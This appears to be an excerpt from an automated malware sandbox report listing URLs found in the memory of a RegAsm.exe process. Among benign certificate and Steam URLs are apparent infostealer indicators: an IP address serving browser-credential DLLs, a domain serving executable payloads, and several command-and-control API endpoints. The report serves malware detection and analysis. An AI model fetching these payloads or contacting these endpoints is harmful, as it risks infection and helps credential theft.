Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net02
Source: RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069872661.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.2727682571.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069872661.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.2727682571.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069872661.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.2727682571.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.entrust.net/rpa03
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2275826475.000000006C2CD000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000002.00000002.2256826303.000000001B41B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2275311124.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2637148462.000000001C6C1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647084595.000000002266D000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/freebl3.dllF
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/freebl3.dlls
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/mozglue.dll
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/mozglue.dllM
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/msvcp140.dlle
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/msvcp140.dllo
Source: RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/nss3.dll
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/softokn3.dll
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/softokn3.dll#
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000055D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/sqlp.dll
Source: RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/vcruntime140.dll
Source: RegAsm.exe, 00000008.00000002.2624007982.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162CGCFH
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.2726793130.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.2725845135.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ballotnwu.site/
Source: RegAsm.exe, 00000013.00000002.2726793130.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ballotnwu.site/)S
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ballotnwu.site/8
Source: RegAsm.exe, 00000013.00000002.2726793130.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ballotnwu.site/W
Source: RegAsm.exe, 00000013.00000002.2726793130.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ballotnwu.site/api
Source: RegAsm.exe, 00000013.00000002.2726793130.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ballotnwu.site:443/apiprofiles/76561199724331900
Source: RegAsm.exe, 00000002.00000002.2244524947.0000000001232000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.0000000001271000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: RegAsm.exe, 00000002.00000002.2244524947.0000000001232000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.0000000001271000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=nSnUuYf7g6U1&a
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.2727682571.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=PzKBszTg
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=WnGP
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=B0lGn8MokmdT&l=e
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: RegAsm.exe, 00000002.00000002.2244524947.0000000001232000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.0000000001271000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: RegAsm.exe, 00000002.00000002.2244524947.0000000001232000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.0000000001271000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dbsmena.com/
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dbsmena.com/3Y?
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dbsmena.com/b
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.0000000000563000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dbsmena.com/ljhgfsd.exe
Source: RegAsm.exe, 00000008.00000002.2624007982.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://dbsmena.com/ljhgfsd.exe1kkkk1218743https://dbsmena.com/vdshfd.exe1kkkk4fde15b103ca94
Source: RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dbsmena.com/ljhgfsd.exeba
Source: RegAsm.exe, 00000008.00000002.2624007982.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://dbsmena.com/ljhgfsd.exeent-Disposition:
Source: RegAsm.exe, 00000002.00000002.2274325888.000000002E4B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dbsmena.com/ljhgfsd.exev
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dbsmena.com/u
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.0000000000563000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dbsmena.com/vdshfd.exe
Source: RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dbsmena.com/vdshfd.exe$
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dbsmena.com/vdshfd.exe=
Source: RegAsm.exe, 00000008.00000002.2624007982.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://dbsmena.com/vdshfd.exetent-Disposition:
Source: RegAsm.exe, 00000013.00000002.2726793130.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drawzhotdog.shop/api
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fragnantbui.shop/api
Source: RegAsm.exe, 0000000F.00000002.2069001280.0000000000D6A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.2725845135.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ghostreedmnu.shop/api
Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
